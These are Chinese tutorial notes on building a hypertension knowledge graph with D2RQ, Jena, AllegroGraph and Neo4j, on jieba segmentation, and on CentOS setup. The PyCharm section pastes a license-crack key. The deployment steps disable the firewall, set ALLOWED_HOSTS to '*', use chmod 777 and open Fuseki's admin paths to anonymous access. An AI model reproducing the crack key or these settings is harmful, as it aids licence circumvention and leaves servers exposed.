1.通过PowerDesigner构建关系数据库(RDB)模型。 2.通过RDB模型构建RDB数据库,这里可以选择SQL/MySQL等。 3.通过Python爬虫技术抓取数据,存储至上数据库。 4.现在有了数据了,由于我们构建的是知识图谱,而知识图谱的数据操作不像关系数据那样,KG以三元组为特性,如果采用关系数据库操作,则需要构建大量的连接操作,耗时耗力,故我们得设法得到三元组数据存储样式,那么这里就涉及了RDB转化RDF数据操作,而这一操作则需要通过D2RQ来进行。 5.D2RQ(Accessing Relational Databases as Virtual RDF Graphs)简单介绍:D2RQ最主要的一个特性是以虚拟RDF图的方式访问关系数据库。它的机理就是通过mapping文件,把对RDF的查询等操作翻译成SQL语句,最终在RDB上实现对应操作。在做知识图谱项目的时候,我们可以灵活地选择数据访问方式。当对外提供服务,查询操作比较频繁的情况下,最好是将RDB的数据直接转为RDF,会节省很多SPARQL到SQL的转换时间。D2RQ有一个比较方便的地方,可以根据你的数据库自动生成预定义的mapping文件,用户可以在这个文件上修改,把数据映射到自己的本体上。通过mapping文件映射本体! 6.通过dump-rdf.bat将RDB转为RDF
例如:.\dump-rdf.bat -o rdf.nt .\kg_demo_movie_mapping.ttl
kg_demo_movie_mapping.ttl是我们修改后的mapping文件。其支持导出的RDF格式有“TURTLE”, “RDF/XML”, “RDF/XML-ABBREV”, “N3”, 和“N-TRIPLE”。“N-TRIPLE”是默认的输出格式。
7.D2RQ,是以虚拟RDF的方式来访问关系数据库中的数据,即我们不需要显式地把数据转为RDF形式。通过默认,或者自己定义的mapping文件,我们可以用查询RDF数据的方式来查询关系数据库中的数据。换个说法,D2RQ把SPARQL查询,按照mapping文件,翻译成SQL语句完成最终的查询,然后把结果返回给用户。通过上述操作我们得到了RDF数据,并通过D2RQ以虚拟RDF图的方式访问关系数据库。那如何做到非虚拟操作,可以将RDF简单地固化到.nt文件,甚至可以直接存储到.txt文件。但若对于RDF有CRUD操作,那么简单地使用文档,是事倍功半的。为了方便用户管理本体或知识图谱,将RDF固化到一个通用的数据库中,才是最优做法。将RDF固化,有多种方法,例如基于图数据库的:AllegroGraph1、Neo4j2;或者基于存储固定结构的数据库:关系型数据库、NoSQL数据库;或者基于索引的ES、基于缓存的Redis等。这里选择的是Apache Jena TDB。 8.D2RQ与Apache Jena所提供的endpoind模式比较:
D2RQ是以虚拟RDF图的方式来访问关系数据库,在访问频率不高,数据变动频繁的场景下,这种方式比较合适。对于访问频率比较高的场景(比如KBQA),将数据转为RDF再提供服务更为合适。利用Apache Jena,创建基于显式RDF数据的SPARQL endpoint;并展示,在加入推理机后,对数据进行本体推理我们可以得到额外的信息。
最后采用Apache Jena Fuseki组件。
9.Apache Jena 提供TDB、rule reasoner和Fuseki组件:上述第7点TDB用于固化数据,第8点Fuseki用于提供endpoint与Sparql查询。 10.固化数据操作:
将上述第6步得到.nt(RDF文件)进行固化,以下命令解释,利用tdbloader工具直接将rdf数据导入到tdb存储库中,这样在对rdf操作时候直接访问,而不是以虚拟方式访问,速度自然快。
例如:tdbloader.bat --loc d:\tdb d:\rdf.nt
运行完后,数据变成如下图的文件存储。
11.学习文章

第三节:AllegroGraph初识¶
一、下载与安装¶
1.安装(AllegroGraph官网)¶
点击进入官网
下载AllegroGraph Virtual Machine
windows上安装VMware,直接加载解压后的虚拟机文件
运行
2.启动及关闭¶
双击Start AG则启动
双击Stop AG则关闭
启动后,通过localhost:10035即可进入web页面
3.两个账号信息¶
AllegroGraph虚拟机账户及密码
Username :franz
Password:allegrograph
登录AllegroGraph
username:test
password:xyzzy
二、简单使用¶
1.利用Gruff建立仓库¶
以下操作前记得开启服务!
击桌面上的gruff连接,右击打开。
左上角file -> New triple store
指定triple store 的名字。
选择->file ->Load->N-triples 选一个可用的N-triple 文件,打开。
2.利用Web页面建立¶
test账户登陆
Create new repository>Name 填写仓库名字,类似于上述triple store名字
创建好后,上面Repositories就会出现刚才新建的仓库
点进刚新建的仓库,选择Load and Delete Date>import RDF>from an uploaded file>File 选择本地文件>OK
Explore the Repository>View triples>Edit query输入SPARQL语句查询三元组
三、Gah. Your tab just crashed problem¶
火狐浏览器崩溃
更换谷歌浏览器,以下为安装步骤
sudo wget http://www.linuxidc.com/files/repo/google-chrome.list -P /etc/apt/sources.list.d/
wget -q -O - https://dl.google.com/linux/linux_signing_key.pub | sudo apt-key add -
sudo apt-get update
sudo apt-get install google-chrome-stable
/usr/bin/google-chrome-stable
在浏览器图标上右键,将启动器锁定

第四节:Cytoscape.js可视化Neo4J¶
说在前面:本次可视化Neo4J实现在Flask与Django两种框架上。关于Neo4J数据如何构建,点击Python操作知识图谱数据库。记得安装py2neo,pip install py2neo==2.0.8
1.Flask实现¶
index.html
<!DOCTYPE html>
<html>
<head>
<title>KGFHBP</title>
<style type="text/css">
/* cytoscape graph */
#cy {
height: 100%;
width: 100%;
position: absolute;
}
</style>
<script src="http://cdn.bootcss.com/jquery/1.11.2/jquery.min.js"></script>
<script src="http://cdn.bootcss.com/cytoscape/2.3.16/cytoscape.min.js"></script>
<script>
$.get('/kg/graph/json', function(result){
var style = [
{selector: 'node[label = "临床表现"]', css: {'background-color': '#6FB1FC','content': 'data(name)'}},
{selector: 'node[label = "药物"]', css: {'background-color': '#F5A45D','content': 'data(name)'}},
{selector: 'node[label = "诊断方法"]', css: {'background-color': '#bd78f5','content': 'data(name)'}},
{selector: 'node[label = "副作用"]', css: {'background-color': '#c0f54a','content': 'data(name)'}},
{selector: 'node[label = "疾病"]', css: {'background-color': '#f5739c','content': 'data(name)'}},
{ selector: 'edge', css: {'content': 'data(relationship)', 'target-arrow-shape': 'triangle'}}
];
cytoscape({
container: document.getElementById('cy'),
style: style,
elements: result.elements,
layout: { name: 'grid'}
});
}, 'json');
</script>
</head>
<body>
<div id="cy"></div>
</body>
</html>
app.py
# coding=utf-8
from flask import Flask, jsonify, render_template
from py2neo import Graph, authenticate
app = Flask(__name__)
# set up authentication parameters
authenticate("localhost:7474", "neo4j", "XXXX")
# connect to authenticated graph database
graph = Graph("http://localhost:7474/db/data/")
def buildNodes(nodeRecord):
data = {"id": str(nodeRecord.n._id), "label": next(iter(nodeRecord.n.labels))}
data.update(nodeRecord.n.properties)
return {"data": data}
def buildEdges(relationRecord):
data = {"source": str(relationRecord.r.start_node._id),
"target": str(relationRecord.r.end_node._id),
"relationship": relationRecord.r.rel.type}
return {"data": data}
@app.route('/kg/graph')
def index():
return render_template('index.html')
@app.route('/kg/graph/json')
def get_graph():
nodes = list(map(buildNodes, graph.cypher.execute('MATCH (n) RETURN n')))
edges = list(map(buildEdges, graph.cypher.execute('MATCH ()-[r]->() RETURN r')))
# 保证中文不乱码
app.config['JSON_AS_ASCII'] = False
return jsonify(elements = {"nodes": nodes, "edges": edges})
if __name__ == '__main__':
app.run(debug = True)
2.Django实现¶
views.py
# set up authentication parameters
authenticate("localhost:7474", "neo4j", "XXXX")
# connect to authenticated graph database
graph = Graph("http://localhost:7474/db/data/")
def cyNeo4j_post(request):
return render(request, "cytoscape_neo4j.html")
def buildNodes(nodeRecord):
data = {"id": str(nodeRecord.n._id), "label": next(iter(nodeRecord.n.labels))}
data.update(nodeRecord.n.properties)
return {"data": data}
def buildEdges(relationRecord):
data = {"source": str(relationRecord.r.start_node._id),
"target": str(relationRecord.r.end_node._id),
"relationship": relationRecord.r.rel.type}
return {"data": data}
def ghJson_post(request):
nodes = list(map(buildNodes, graph.cypher.execute('MATCH (n) RETURN n')))
edges = list(map(buildEdges, graph.cypher.execute('MATCH ()-[r]->() RETURN r')))
elements = {"nodes": nodes, "edges": edges}
return HttpResponse(json.dumps(elements, ensure_ascii=False), content_type="application/json")
#return JsonResponse(elements,safe=False)
urls.py
url(r'^kg/graph$', views.cyNeo4j_post),
url(r'^kg/graph/json$', views.ghJson_post),

第五节:Python操作知识图谱数据库¶
3.Python操作Neo4J¶
3.1 py2neo安装¶
pip install py2neo
3.2 py2neo连接neo4j¶
from py2neo import Graph
def __init__(self):
# 建立连接
link = Graph("http://localhost:7474", username="neo4j", password="0312")
self.graph=link
3.3 py2neo清空数据库结点与边¶
def clean_node(self):
# 清空数据库
self.graph.delete_all()
注意:此时会发现Property Keys未删除,要想删除只有找到你的数据库data/graph.db里面全部删除掉才可以。
3.4 py2neo创建结点¶
创建结点是会发现label需要传参,那么label到底是什么呢?在neo4j中不存在表的概念,可以把label当作表, 相当于在创建多个结点时,指定其为同一label,就类似于为这几个结点(关系型数据库中类似与字段)储存到一张表中。
为了更好的描述疾病、药物等的构建,参考以下ER图进行构建

from py2neo import Node
def create_node(self):
# 疾病、临床表现、药物等结点定义
for each_dis in dis_list:
dis_node=Node(dis_label,name=each_dis)
self.graph.create(dis_node)
for each_cli in cli_list:
cli_node = Node(cli_label, name=each_cli)
self.graph.create(cli_node)
for each_sdef in drug_list:
drug_node = Node(dru_label, name=each_sdef)
self.graph.create(drug_node)
for each_sdef in sdef_list:
sdef_node=Node(side_effect_label,name=each_sdef)
self.graph.create(sdef_node)
for each_zd in zd_method_list:
zd_node=Node(diagnostic_label,name=each_zd)
self.graph.create(zd_node)
3.5 py2neo创建关系¶
一个难点:取结点操作
# 取结点,使用find_one()方法,通过指定label,property_key, property_key获取相应的结点
hyp = self.graph.find_one(
label=dis_label,
property_key="name",
property_key="高血压"
)
结点关系方法封装
from py2neo import Relationship
def create_Rel(self):
"""
建立关系
高血压疾病与临床表现之间的双向关系定义
:return:
"""
# 获取高血压与糖尿病结点,然后通过循环,建立这两个疾病与临床表现的关系
hyp_node = self.graph.find_one(
label=dis_label,
property_key="name",
property_value="高血压"
)
tnb_node = self.graph.find_one(
label=dis_label,
property_key="name",
property_value="糖尿病"
)
# 建立疾病与临床表现的关系
for cli_name in cli_list:
cli_node = self.graph.find_one(
label=cli_label,
property_key="name",
property_value=cli_name
)
hyp_to_cli = Relationship(hyp_node, '产生', cli_node)
self.graph.create(hyp_to_cli)
tnb_to_cli = Relationship(tnb_node, '产生', cli_node)
self.graph.create(tnb_to_cli)
# 建立疾病与诊断方法之间的关系
for diag_name in zd_method_list:
diag_node = self.graph.find_one(
label=diagnostic_label,
property_key="name",
property_value=diag_name
)
if diag_name=="血糖" and diag_name=="血脂" and diag_name=="胆固醇":
diag_to_dis = Relationship(diag_node, '辅助检查', tnb_node)
else:
diag_to_dis = Relationship(diag_node, '辅助检查', hyp_node)
self.graph.create(diag_to_dis)
# 建立疾病与药物关系
for drug_name in drug_list:
drug_node = self.graph.find_one(
label=dru_label,
property_key="name",
property_value=drug_name
)
if drug_name=="胰岛素" or drug_name=="胰高血糖素":
drug_to_disease=Relationship(drug_node,'治疗',tnb_node)
else:
drug_to_disease= Relationship(drug_node, '治疗', hyp_node)
self.graph.create(drug_to_disease)
# 建立药物与副作用之间的关系
for drug_name in drug_list:
drug_node = self.graph.find_one(
label=dru_label,
property_key="name",
property_value=drug_name
)
for sdef_name in sdef_list:
sdef_node = self.graph.find_one(
label=side_effect_label,
property_key="name",
property_value=sdef_name
)
if drug_name == "利尿药" and sdef_name == "尿酸升高":
drug_to_sdef = Relationship(drug_node, '引发', sdef_node)
self.graph.create(drug_to_sdef)
elif drug_name == "钙拮抗药" and sdef_name == "血钾降低":
drug_to_sdef = Relationship(drug_node, '引发', sdef_node)
self.graph.create(drug_to_sdef)
elif drug_name == "胰岛素" and (sdef_name == "恶心" or sdef_name == "呕吐"):
drug_to_sdef = Relationship(drug_node, '引发', sdef_node)
self.graph.create(drug_to_sdef)
elif drug_name == "胰高血糖素" and (sdef_name == "头晕" or sdef_name == "眼花"):
drug_to_sdef = Relationship(drug_node, '引发', sdef_node)
self.graph.create(drug_to_sdef)
3.6 调用¶
上述代码全部封装在createBHPData类中,需要实例化对象,然后调用相应方法。
c=createBHPData()
c.clean_node()
c.create_node()
c.create_Rel()
最后,刷新浏览器版neo4j,然后就可以看到自己的图了。
4.项目地址¶

第六节:Python实现jieba分词¶
jieba分词初识
1.结巴分词三种模式¶
默认模式
s_list=jieba.cut("我来到北京清华大学",cut_all=True) # 默认为False
print("[全模式]:"+'/'.join(s_list))
精确模式
s_list=jieba.cut("我来到北京清华大学",) # 默认是精确模式cut_all=False
print("[默认模式]:"+'/'.join(s_list))
搜索引擎模式
s_list=jieba.cut_for_search("小米毕业于中科院计算所,后来在日本东京大学留学深造") # 搜索引擎模式
print("[默认模式]:"+'/'.join(s_list))
以上结果
[全模式]:我/来到/北京/清华/清华大学/华大/大学
[默认模式]:我/来到/北京/清华大学
[默认模式]:小米/毕业/于/中科/计算/中科院/计算所/中科院计算所/,/后来/在/日本/东京/大学/日本东京大学/留学/深造
2.自定义字典¶
jieba默认分词
test_string=("医疗卫生事业是强国安民的光荣事业,是为实现中国梦奠定基础的伟大事业。")
words=jieba.cut(test_string)
print('jieba默认分词效果')
print('/'.join(words))
加载自定义字典
# 自定义字典 test_string.txt
光荣事业 4 nz
中国梦 4 nl
奠定基础 4 nz
# 自定义字典实现
jieba.load_userdict('test_string.txt')
words=jieba.cut(test_string)
print("加载自定义字典后,分词效果")
print('/'.join(words))
以上结果
jieba默认分词效果
医疗卫生/事业/是/强国/安民/的/光荣/事业/,/是/为/实现/中国/梦/奠定/基础/的/伟大事业/。
加载自定义字典后,分词效果
医疗卫生/事业/是/强国/安民/的/光荣事业/,/是/为/实现/中国/梦/奠定基础/的/伟大事业/。
3.动态修改字典¶
t=jieba.suggest_freq(('医疗','卫生'),True)
print(t)
print('/'.join(jieba.cut(test_string, HMM=False)))
t=jieba.suggest_freq(('中国梦'),True)
print(t)
print('/'.join(jieba.cut(test_string, HMM=False)))
以上结果
0
医疗/卫生事业/是/强国/安民/的/光荣事业/,/是/为/实现/中国/梦/奠定基础/的/伟大事业/。
9
医疗/卫生事业/是/强国/安民/的/光荣事业/,/是/为/实现/中国梦/奠定基础/的/伟大事业/。
4.词性标注及关键字提取¶
import jieba.posseg as pseg
words=pseg.cut(test_string)
for word, flag in words:
print('%s %s' % (word, flag))
以上结果
医疗 n
卫生事业 n
是 v
强国 n
安民 nr
的 uj
光荣事业 nz
, x
是 v
为 p
实现 v
中国梦 nl
奠定基础 nz
的 uj
伟大事业 nz
。 x
5.问题及解决办法¶
在加载自定义字典时,自定义字典文件内容及有问题代码单独存放文件如下:
----------自定义字典文件test_string.txt--------
光荣事业 4 nz
中国梦 4 nl
奠定基础 4 nz
----------issue.py----------
import jieba
test_string=("医疗卫生事业是强国安民的光荣事业,是为实现中国梦奠定基础的伟大事业。")
words=jieba.cut(test_string)
print('jieba默认分词效果')
print('/'.join(words))
# 加载自定义字典
jieba.load_userdict('test_string.txt')
words=jieba.cut(test_string)
print("加载自定义字典后,分词效果")
print('/'.join(words))
----------output----------
医疗卫生/事业/是/强国/安民/的/光荣/事业/,/是/为/实现/中国/梦/奠定/基础/的/伟大事业/。
加载自定义字典后,分词效果
医疗卫生/事业/是/强国/安民/的/光荣事业/,/是/为/实现/中国/梦/奠定基础/的/伟大事业/。
观察以上output会发现,光荣事业跟奠定基础按照了字典文件进行了合并,但是中国梦并没有,这是什么问题呢?
于是得出以下结论:
jieba 分词自定义词典只对长词起作用
对如果定义的词比jieba自己分的短,则没有用
那如何解决呢?
直接改变主字典路径(0.28 之前的版本是不能指定主词典的路径的,有了延迟加载机制后,你可以改变主词典的路径),不用jieba默认的:
将issue.py中的jieba.load_userdict('test_string.txt')
替换为jieba.set_dictionary('test_string.txt')
此时输出:
jieba默认分词效果
医疗卫生/事业/是/强国/安民/的/光荣/事业/,/是/为/实现/中国/梦/奠定/基础/的/伟大事业/。
加载自定义字典后,分词效果
医疗/卫生/事业/是/强国安民/的/光荣事业/,/是/为/实现/中国梦/奠定基础/的/伟大事业/。

第七节:高血压知识图谱部署云服务器¶
一、LNMP配置¶
参考之前csdn上写过的一篇文章 Cetos 7.2+LNMP+WordPress
二、python3¶
安装编译Python时所需要的库
yum -y install gcc gcc-c++
下载python 3.6.5的源码包(y提前下载wget工具)
wget https://www.python.org/ftp/python/3.6.5/Python-3.6.5.tgz
解压
tar -zxvf Python-3.6.5.tgz
配置
cd python-3.6.5
./configure
编译安装
make && make install
最后查看版本
python3 -V # 输出版本为python3.6.5
系统自带python2.7,现在需要设置默认python3
# 备份python
mv /usr/bin/python /usr/bin/python2.7.bak
# 链接 python3.6.5
ln –s /usr/local/bin/python3 /usr/bin/python
python -V # 此时输出python3.6.5
yum此时用不了了
# 这是yum用的是原来2.7的版本,而刚刚我们把python改为3.6.5了,所以用不了了,需要编辑yum文件
vim usr/bin/yum
把第一行的usr/bin/python改成/usr/bin/python2.7
python命令行无法使用退格键、方向键
# 安装readline模块
yum -y install readline-devel
# 重装Python3即可解决
三、pip安装¶
setuptool默认自动装
到python官网找pip tar.gz文件
wget http:/xxxxxx.tar.gz
tar -zxvf xxxxx.tar.gz
cd xxxx-version/
python setup.py install
四、使用pip安装django¶
# 安装
pip install django
# 检查
python 进入命令行
import django
print(django.get_version())
五、远程传输文件及配置¶
传输KG项目及Apache Jena Tdb数据 ### 使用FlashFXP传输文件至服务器 KG项目
requirement.txt里面的库安装 ###
pip install --upgrade -r requirements.txt
KG项目问题之Django
Question
1.python manage.py runserver 0.0.0.0:8000
如果没有加0.0.0.0:8000的话就是通过localhost或127.0.0.1访问,加上后可以在我们非服务器电脑上访问。
2.Django运行访问项目出现的问题:DisallowedHost at / Invalid HTTP_HOST header
找到项目的setting.py文件,然后设置ALLOWED_HOSTS = ['*'] # *号用服务器公网ip替换掉或者根据页面报错提示输入
3.页面报错socket.error : (113 , 'No route to host '),提示有防火墙,然后根据以下两项设置:
关闭防火墙:sudo systemctl stop firewalld.service
关闭开机启动:sudo systemctl disable firewalld.service
4.记得在settings.py中,INSTALLED_APPS中添加项目中的应用
六、Apache Jena在Linux端配置¶
上述通过FlashFXP传输了Apache Jena文件,这里完成了药物本体及相应规则的拷贝配置后,运行./fuseki-server --config=ConfigFile 启动服务,最后一行有具体的端口号,打开浏览器,查看 ip:3030/,未打开,提示权限不够,执行以下操作:
chmod 777 fuseki-server
chmod 777 fuseki-server.bat
再次刷新,发现页面有信息,但是无数据,打开f12查看原因
看到server 报错 403 Access denied : only localhost access allowed
此时在执行启动服务同级目录下 有个run文件夹,vi shiro.ini
将/$/** = localhostFilter改为/$/** = anon
七、Linux SSH 客户端断开后如何保持进程继续运行配置方法?¶
这里使用nohup命令
就是在相应命令前加上nohup,结尾处加上&
运行后会显示PID,然后再回车就会到命令行,默认会将进程的任务放本项目的nohup.out文件中

第三章:Linux运维¶
这一章介绍的是有关Linux系统的安装 ,以及环境构建等,更多内容,待更新…

第一节:CetOS 7.3配置初实战¶
一、rpm/yum/tar实战¶
1.rpm命令¶
rpm包,由“-”、“.”构成,包名、版本信息、版本号、运行平台
对已安装软件信息的查询
rpm -qa 查询已安装的软件
rpm -qf 文件名绝对路径 文件名的绝对路径
rpm -ql 软件名查询已安装的软件包都安装到何处
软件包的安装、升级、删除
rpm -ivh rpm文件安装rpm包
rpm -Uvh rpm文件 更新rpm包
rpm -e 软件名删除rpm包
rpm -e 软件名 --nodeps不管依赖关系,强制删除软件
rpm --import 签名文件导入签名
rpm --import RPM-GPG-KEY
2.yum命令¶
yum= yellow dog updater, modified
主要功能更方便添加、删除、更新rpm包,自动解决依赖性问题,便于管理大量系统的更新问题同时配置多个资源库(repository)简介的配置文件(
/etc/yum.conf
自动解决增加或删除rpm包时遇到的依赖性问题,方便保持rpm数据库的一致性)yum安装,
rpm -ivh yum-*.noarch.rpm
在第一次启用yum之前要先导入系统的RPM-GPG-KEY第一次使用yum管理软件时,yum会自动下载需要的headers放置在
/var/cache/yum
目录下
rpm包更新
yum check-update 查看可以更新的软件包
yum update更新所有的软件包
yum update kernel 更新指定的软件包
yum upgrade大规模更新升级
rpm包安装和删除
yum install xxx[服务名]安装rpm包
yum remove xxx[服务名] 删除rpm包
3.tar命令¶
-c: 建立压缩档案
-x:解压
-t:查看内容
-r:向压缩归档文件末尾追加文件
-u:更新原压缩包中的文件
这五个是独立的命令,压缩解压都要用到其中一个,可以和别的命令连用但只能用其中一个。
下面的参数是根据需要在压缩或解压档案时可选的。
-z:有gzip属性的
-j:有bz2属性的
-Z:有compress属性的
-v:显示所有过程
-O:将文件解开到标准输出
参数-f是必须的
-f: 使用档案名字,切记,这个参数是最后一个参数,后面只能接档案名。
常用举例:
1、*.tar 用 tar –xvf 解压
2、*.gz 用 gzip -d或者gunzip 解压
3、*.tar.gz和*.tgz 用 tar –xzf 解压
4、*.bz2 用 bzip2 -d或者用bunzip2 解压
5、*.tar.bz2用tar –xjf 解压
6、*.Z 用 uncompress 解压
7、*.tar.Z 用tar –xZf 解压
二、Pycharm/Eclipse配置实战¶
1.Python3.6.0安装¶
1)获取Python3.6.0¶
wget http://www.python.org/ftp/python/3.6.0/Python-3.6.0.tgz
2)解压压缩文件¶
tar xzvf Python-3.6.0.tgz
3)进入文件¶
cd Python-3.6.0
4)新加一个python3的安装目录防止覆盖到老版本的python¶
mkdir /opt/python3.6.0
5)开始编译安装¶
./configure --prefix=/opt/python3.6.0
make
make install
ln -s /opt/python3.6.0/bin/python3 /usr/local/bin/python3
7)使用python3¶
[root@localhost Python-3.6.0]# python3
2.PyCharm for python¶
1)首先下载pycharm for Python最新版本2016.3.2¶
2)解压¶
tar zxvf *.tar.gz //*改为自己的版本
3)移动到/usr/local/pycharm目录¶
mv pycharm-* /usr/local/pycharm //pycharm-*表示第二步解压出来的目录
4)运行pycharm¶
/usr/local/pycharm/bin/pycharm.sh
然后根据安装提示,一步一步安装即可,后续过程跟Windws版本安装一样,此处就不多阐述了。
需要注意的是python2.7是系统自带的版本,我前面装的是Python3.6.0,在选择的时候可以根据自己使用版本,填入目录,选择相应版本!
5)破解¶
B1c2Ugb25seSIsImNoZWNrQ29uY3VycmVudFVzZSI6ZmFsc2UsInByb2R1Y3RzIjpbeyJjb2RlIjoiSUkiLCJwYWlkVXBUbyI6IjIwMTctMDItMjUifSx7ImNvZGUiOiJBQyIsInBhaWRVcFRvIjoiMjAxNy0wMi0yNSJ9LHsiY29kZSI6IkRQTiIsInBhaWRVcFRvIjoiMjAxNy0wMi0yNSJ9LHsiY29kZSI6IlBTIiwicGFpZFVwVG8iOiIyMDE3LTAyLTI1In0seyJjb2RlIjoiRE0iLCJwYWlkVXBUbyI6IjIwMTctMDItMjUifSx7ImNvZGUiOiJDTCIsInBhaWRVcFRvIjoiMjAxNy0wMi0yNSJ9LHsiY29kZSI6IlJTMCIsInBhaWRVcFRvIjoiMjAxNy0wMi0yNSJ9LHsiY29kZSI6IlJDIiwicGFpZFVwVG8iOiIyMDE3LTAyLTI1In0seyJjb2RlIjoiUEMiLCJwYWlkVXBUbyI6IjIwMTctMDItMjUifSx7ImNvZGUiOiJSTSIsInBhaWRVcFRvIjoiMjAxNy0wMi0yNSJ9LHsiY29kZSI6IldTIiwicGFpZFVwVG8iOiIyMDE3LTAyLTI1In0seyJjb2RlIjoiREIiLCJwYWlkVXBUbyI6IjIwMTctMDItMjUifSx7ImNvZGUiOiJEQyIsInBhaWRVcFRvIjoiMjAxNy0wMi0yNSJ9XSwiaGFzaCI6IjMzOTgyOTkvMCIsImdyYWNlUGVyaW9kRGF5cyI6MCwiYXV0b1Byb2xvbmdhdGVkIjpmYWxzZSwiaXNBdXRvUHJvbG9uZ2F0ZWQiOmZhbHNlfQ==-keaxIkRgXPKE4BR/ZTs7s7UkP92LBxRe57HvWamu1EHVXTcV1B4f/KNQIrpOpN6dgpjig5eMVMPmo7yMPl+bmwQ8pTZaCGFuLqCHD1ngo6ywHKIQy0nR249sAUVaCl2wGJwaO4JeOh1opUx8chzSBVRZBMz0/MGyygi7duYAff9JQqfH3p/BhDTNM8eKl6z5tnneZ8ZG5bG1XvqFTqWk4FhGsEWdK7B+He44hPjBxKQl2gmZAodb6g9YxfTHhVRKQY5hQ7KPXNvh3ikerHkoaL5apgsVBZJOTDE2KdYTnGLmqxghFx6L0ofqKI6hMr48ergMyflDk6wLNGWJvYHLWw==-MIIEPjCCAiagAwIBAgIBBTANBgkqhkiG9w0BAQsFADAYMRYwFAYDVQQDDA1KZXRQcm9maWxlIENBMB4XDTE1MTEwMjA4MjE0OFoXDTE4MTEwMTA4MjE0OFowETEPMA0GA1UEAwwGcHJvZDN5MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxcQkq+zdxlR2mmRYBPzGbUNdMN6OaXiXzxIWtMEkrJMO/5oUfQJbLLuMSMK0QHFmaI37WShyxZcfRCidwXjot4zmNBKnlyHodDij/78TmVqFl8nOeD5+07B8VEaIu7c3E1N+e1doC6wht4I4+IEmtsPAdoaj5WCQVQbrI8KeT8M9VcBIWX7fD0fhexfg3ZRt0xqwMcXGNp3DdJHiO0rCdU+Itv7EmtnSVq9jBG1usMSFvMowR25mju2JcPFp1+I4ZI+FqgR8gyG8oiNDyNEoAbsR3lOpI7grUYSvkB/xVy/VoklPCK2h0f0GJxFjnye8NT1PAywoyl7RmiAVRE/EKwIDAQABo4GZMIGWMAkGA1UdEwQCMAAwHQYDVR0OBBYEFGEpG9oZGcfLMGNBkY7SgHiMGgTcMEgGA1UdIwRBMD+AFKOetkhnQhI2Qb1t4Lm0oFKLl/GzoRykGjAYMRYwFAYDVQQDDA1KZXRQcm9maWxlIENBggkA0myxg7KDeeEwEwYDVR0lBAwwCgYIKwYBBQUHAwEwCwYDVR0PBAQDAgWgMA0GCSqGSIb3DQEBCwUAA4ICAQC9WZuYgQedSuOc5TOUSrRigMw4/+wuC5EtZBfvdl4HT/8vzMW/oUlIP4YCvA0XKyBaCJ2iX+ZCDKoPfiYXiaSiH+HxAPV6J79vvouxKrWg2XV6ShFtPLP+0gPdGq3x9R3+kJbmAm8w+FOdlWqAfJrLvpzMGNeDU14YGXiZ9bVzmIQbwrBA+c/F4tlK/DV07dsNExihqFoibnqDiVNTGombaU2dDup2gwKdL81ua8EIcGNExHe82kjF4zwfadHk3bQVvbfdAwxcDy4xBjs3L4raPLU3yenSzr/OEur1+jfOxnQSmEcMXKXgrAQ9U55gwjcOFKrgOxEdek/Sk1VfOjvS+nuM4eyEruFMfaZHzoQiuw4IqgGc45ohFH0UUyjYcuFxxDSU9lMCv8qdHKm+wnPRb0l9l5vXsCBDuhAGYD6ss+Ga+aDY6f/qXZuUCEUOH3QUNbbCUlviSz6+GiRnt1kA9N2Qachl+2yBfaqUqr8h7Z2gsx5LcIf5kYNsqJ0GavXTVyWh7PYiKX4bs354ZQLUwwa/cG++2+wNWP+HtBhVxMRNTdVhSm38AknZlD+PTAsWGu9GyLmhti2EnVwGybSD2Dxmhxk3IPCkhKAK+pl0eWYGZWG3tJ9mZ7SowcXLWDFAk0lRJnKGFMTggrWjV8GYpw5bq23VmIqqDLgkNzuoog==
3. Centos7下安装eclipse进行C/C++开发¶
1)下载eclipse¶
注意选择的时候选择Eclipse IDE for C/C++ Developers
2)下载cdt¶
3)安装¶
4)安装cdt¶
5)测试Eclipse是否可以工作¶
6)eclipse cdt运行c程序报错“launch failed,binary not found”¶
解决办法:窗口左面的项目文件夹上右键鼠标,在弹出的菜单中选择Build Configurations —>Build selected,选择其中的debug或者release进行构建。
7)在应用菜单中添加菜单项—–把eclipse添加到应用菜单中¶
/usr/share/applications/
vim /usr/share/applications/c-eclipse.desktop
[Desktop Entry]
Version=1.0
Name=C-Eclipse
Icon=/opt/eclipse/icon.xpm
Exec=/opt/eclipse/eclipse
Terminal=false
Type=Application
StartupNotify=true
Categories=Application;Development;IDE

第二节:CetOS 7.3安装Drupal 8踩坑之路¶
1. 实战¶
1.1 drupal 8.x需求¶
DataBase¶
- MySQL 5.5.3/MariaDB 5.5.20/Percona Server 5.5.8 or higher with PDO and an InnoDB-compatible primary storage engine,
- PostgreSQL 9.1.2 or higher with PDO,
- SQLite 3.7.11 or higher
PHP¶
PHP 5.5.9 or higher
1.2 部署LAMP¶
本节参考之前文章燃火搭建CetOS7.3 LAMP服务器 由于我当初部署LAMP的PHP是5.4.* 版本的,根据drupal 8安装需求,需要升级成PHP 5.5.9+,以下就是我在升级过程中的一些Q&A!
2.PHP5.4-PHP5.6¶
2.1 Centos7 中php5.4升级到php5.6¶
2.1.1 添加EPEL和Remi源¶
wget http://dl.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-5.noarch.rpm
wget http://rpms.famillecollet.com/enterprise/remi-release-7.rpm
rpm -Uvh remi-release-7*.rpm epel-release-7*.rpm
2.1.2 使用Remi repo¶
vim /etc/yum.repos.d/remi.repo
[remi]
name=Les RPM de remi pour Enterprise Linux 6 - $basearch
#baseurl=http://rpms.famillecollet.com/enterprise/6/remi/$basearch/
mirrorlist=http://rpms.famillecollet.com/enterprise/6/remi/mirror
enabled=1
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-remi
[remi-php56]
name=Les RPM de remi de PHP 5.5 pour Enterprise Linux 6 - $basearch
#baseurl=http://rpms.famillecollet.com/enterprise/6/php55/$basearch/
mirrorlist=http://rpms.famillecollet.com/enterprise/6/php55/mirror
# WARNING: If you enable this repository, you must also enable "remi"
enabled=1
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-remi
把enabled设为1.使之起作用。 注意:如果想吧PHP5.4升级为PHP5.5,则把[remi-php55]的enabled设置为1
2.1.3 停止相关服务¶
service httpd stop
service mysqld stop
2.1.4 更新及查看¶
yum update -y
yum update php
这个时候会提醒更新php到5.6,通过以下命令查看是否完成升级
php -v
然后启动服务
service httpd start
service mysqld start
这个时候就可以用了。
2.2 PHP升级 Q&A¶
2.2.1 PHP升级方法一¶
Q:上述php-v后出现如下错误,PHP Startup:Xache:Unble to initalize module
